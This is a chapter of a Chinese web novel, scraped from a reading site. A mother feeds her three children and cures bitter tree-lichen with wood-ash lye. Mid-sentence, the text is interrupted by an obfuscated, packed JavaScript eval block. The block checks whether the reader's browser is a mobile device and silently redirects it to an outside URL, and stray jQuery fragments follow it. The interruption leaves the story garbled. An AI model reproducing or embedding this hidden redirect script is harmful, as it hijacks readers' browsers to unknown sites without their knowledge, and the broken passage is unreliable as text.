默认冷灰
24号文字
方正启体

14. 第 14 章

作者:丹桂红本书字数:K更新时间:
    石大一家子过来了。石阿爷石阿奶,石大石二兄弟,并两家媳妇,还有石大家的两个小子大虎二虎,都来登门道谢,为的是昨日甄大力打野猪救人的恩情。


    他们带来了一条腊猪腿,一篮鸡蛋,还有一袋山货,里面装着蘑菇,野果干作谢礼。在乡下,一条腊猪腿,一篮子鸡蛋,一袋山货,这算是极郑重的谢礼了。


    甄大力忙将人让进屋里坐。


    大人们在屋里说话,孩子们便溜到外头。荞荞扯住二虎,语气里透着得意:“我娘昨天一脚就把野猪踹死啦!”


    二虎眼睛亮晶晶的:“我爹说了,说你娘力气大得吓人!昨天你还讲她一拳能砸碎几百斤的大石头,我当是吹牛,现在可信了,你娘真厉害!”


    荞荞胸脯挺得老高:“我娘就是这么厉害!”


    二虎咂嘴:“可是你娘没有我爹和我二叔高,没有我爹和我二叔壮实,咋比我爹我和二叔厉害那么多呢。”


    一侧,梁梁接腔:“说明厉害的人不一定就很高很壮。”


    二虎愣了愣,瞅瞅梁梁他们几个瘦伶仃的身板,心里嘀咕:难道往后,梁梁他们可能比他和哥哥更厉害?


    这边厢,屋子里,石阿爷说:“甄小娘子,以后你家有什么需要帮忙的,只管来寻我们,能帮的上的,我们一定会帮!”


    甄大力:“那就先谢过了。”


    “该是我们谢你才对。”


    石家人实心实意地道了谢,又邀他们晚上过去吃顿饭。甄大力略一思量,应了下来。


    送走石家老小,甄大力便拎上砍柴刀上山砍柴。三个小家伙也背上小背篓,跟着一道进山。


    甄大力早有交代,有她领着,孩子们才能往山里走。若她不在,孩子们只许在山脚附近捡柴挖菜,图个安稳。


    夏日山里,偶有野果。可村里孩子眼睛都尖,果子刚熟,就叫人摘得差不多了。甄大力砍了好一阵子柴,也只寻见几颗野莓,分给孩子们吃了,继续干活。


    梁梁和荞荞跪在地上,撅着屁股在石头缝里找菌子。麦麦坐在甄大力身旁,小手捏着几朵野花玩。


    砍柴砍得乏了,甄大力直起腰,拄着刀歇口气。清凉的山风拂过,忽然,她瞥见不远处的树干上,生着一丛灰绿的东西,形似珊瑚,在风里微微颤着。


    走近细看,她不由笑了。是树花。这东西长得实在不起眼,像枯枝上结了一片苔藓,又像树皮间绽出的干花。


    模样虽陋,却是美味。凉拌了吃,爽脆生津,最是消暑。


    三个孩子见她看树看得出神,也都凑过来。荞荞问:“娘,你在看啥呀?”


    甄大力指指树上那团灰绿:“瞧见没有?那是树花,可以吃,很好吃的。”


    荞荞五官瞬间皱了起来:“很好吃?树花不好吃!”


    麦麦五官也皱成了小老太:“这个花花不好吃!”


    三个孩子仿佛同时忆起什么痛苦的滋味,个个苦着脸。


    梁梁像是嗓子疼了起来,说:“以前饿得不行的时候,我们吃过这个,很苦很腥,还剌嗓,吃了想吐。”


    “那是因为处理方法不对。”甄大力道。


    树花这东西,是藻菌共生的物事。若处理不得法,吃起来就像嚼皮革,又硬又苦又涩,还带着土腥气,舌头麻涩发干,难受得紧。吃了直让人反胃想吐。


    可若收拾得当,便是山野间的清爽滋味,是一味美味佳肴。


    软化的树花,去除了苦涩土腥味的树花,是一种清松又带点干香的味道。像是大自然的味道。是大自然的山珍,是大自然回馈给人类的美味佳肴。


    只是这儿的人不懂吃它,只当是树皮藓苔,白白糟蹋了。


    甄大力望着树上的树花,道:“来,摘些回去,叫你们尝尝鲜。”


    摘了些树花回去。回去的路上,梁梁想着背篓里的树花,眉头纠结起来。


    回程路上,梁梁瞅着背篓里的树花,眉头拧着。这东西又苦又硬,连猪都不肯碰。


    以前他听村里老人说过,什么法子都试过了,最后总是难以下咽。也就荒年饿急了,才有人硬着头皮吃两口。


    娘真的能把它做好吃吗?


    到家后,甄大力便张罗起来。三个孩子围在一边,既好奇,又带着几分怀疑。想起之前那不愉快的树花食用经历,小脸上都露着抗拒


    “娘,这个真的能变得好吃吗?”荞荞捏着一小撮干的树花,皱着鼻子问。


    “当然。”甄大力将背篓里的树花全部倒入一个木盆中。这些灰绿色的“树珊瑚”干干硬硬的,确实其貌不扬,甚至有些扎手。


    加水淘洗几遍,冲去灰尘杂屑后,甄大力道:“头一步,先要把它们泡软。”甄大力往盆里加水。


    梁梁摇摇头:“泡水只能泡一点点软,不管泡多久,最后吃起来只有一点点软,还是硬邦邦的喇嗓子。”


    甄大力:“还有后招呢,明儿个你就知道了。”


    收拾完树花,一家人便去石家吃晚饭。石家在村西,靠近西山脚。


    石家备了粟米掺白米的二米饭,烙了麦饼,炒了鸡蛋,还有野鸡炖蘑菇。这饭菜,在乡下算是过年的排场了,足见石家的诚意。


    石阿爷给甄大力他们夹菜:“吃,多吃些,别客气!”


    穿来这些日子,甄大力头一回吃上白米饭,虽是掺了粟米的,也已十分难得。


    石家祖辈打猎,打猎手艺不错,油水比寻常农户足,饭菜也舍得放油,吃得甄大力满嘴油光。一家四口,直吃到肚皮滚圆才告辞。


    回家路上,荞荞摸着圆圆的肚皮,道:“娘,我以后也要当猎户去打猎,然后像大虎二虎他们家一样,时不时都能吃到肉!”


    荞荞是很羡慕大虎二虎家的,他们家打猎,时不时能打到各种野味,能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446641|185125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃到肉,于是他以后也想当猎户。


    甄大力摸摸荞荞脑袋:“嗯,娘等着。”


    荞荞傻呵呵地咧嘴笑起来,用脑袋蹭蹭她掌心,像是要人摸摸的小金毛狗。


    麦麦凑过来:“娘,麦麦打猎,给娘好的!”


    甄大力又摸摸她脑袋:“嗯,娘等着。”


    麦麦抱住了她的腿。


    梁梁腼腆道:“娘,我以后会挣很多很多钱,给娘盖大宅子,让娘顿顿有大白米有肉吃。”


    甄大力也摸摸他脑袋:“好,娘等着。”


    梁梁脸一红。


    次日,泡了一夜的树花沉在水底,水色泛黄,原本干瘪的树花舒展开来,软韧了些,像湿漉漉的小珊瑚。


    梁梁小眉毛团成一坨:“看着是软了些,但只是软了一些些,吃起来还是硬硬的喇嗓,再泡好多天都是这样。”


    甄大力:“这才刚开始呢。”


    她将泡软涨开的树花捞出来,重新倒清水,像揉搓衣服一样,仔细地反复揉搓着水中的树花。


    换了几遍水,直到水色清亮,手感不再涩,她才停手。


    “接下来是最关键的一步,”她神秘地笑了笑,将清洗好的树花捞起沥水,“得用草木灰水来煮它,这样才能彻底将树花变软,彻底去掉那股子土腥味和残余的涩味。”


    草木灰是碱性的,可以水解软化树花里纤维组织。可以中和树花里的酸性物质,以此达到去除苦涩目的。这是将树花变成美味的最关键的一步。


    她舀来灶膛里的干净草木灰,加热水冲开,静置后取上面清亮的灰水入锅烧滚。水沸后,树花倒进去,咕嘟咕嘟煮着。


    渐渐地,树花那股子腥涩苦气散了,竟透出点淡淡的,属于山野植物的清香。


    煮了一刻钟,甄大力夹起一点尝了尝,点头:“成了。”


    捞出来投进冷水漂洗,洗去灰水,去掉碱味。同时冷水漂洗也可以让树花更脆爽。


    这一番折腾,原本硬涩扎手的树花,脱胎换骨,变得软弹滑糯,颜色成了黄褐,闻着有股干净的微香。


    甄大力挤干树花的水分,将树花放入碗中,加蒜末、盐、醋、辣椒,淋一勺熟油,拌匀。


    “来,尝尝看。”她将凉拌好的树花递到三个孩子面前。


    看着难吃到让人呕吐的树花。梁梁犹豫,食用树花的痛苦回忆让他胃部有些应激,他没动作。


    平日里最贪嘴的荞荞直接摆手:“不吃,很不好吃的!”


    麦麦直摇头:“花花难吃,麦麦不吃!”


    甄大力:“都不吃?尝尝,味道很不错的。”


    梁梁看了下甄大力,不忍让她失望,于是忍着胃部应激的痛苦回忆,道:“娘,我吃。”


    甄大力笑了,她夹起树花,喂给梁梁。


    梁梁屏息闭目,艰难地张开嘴,鼓起勇气,把树花吃了进去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)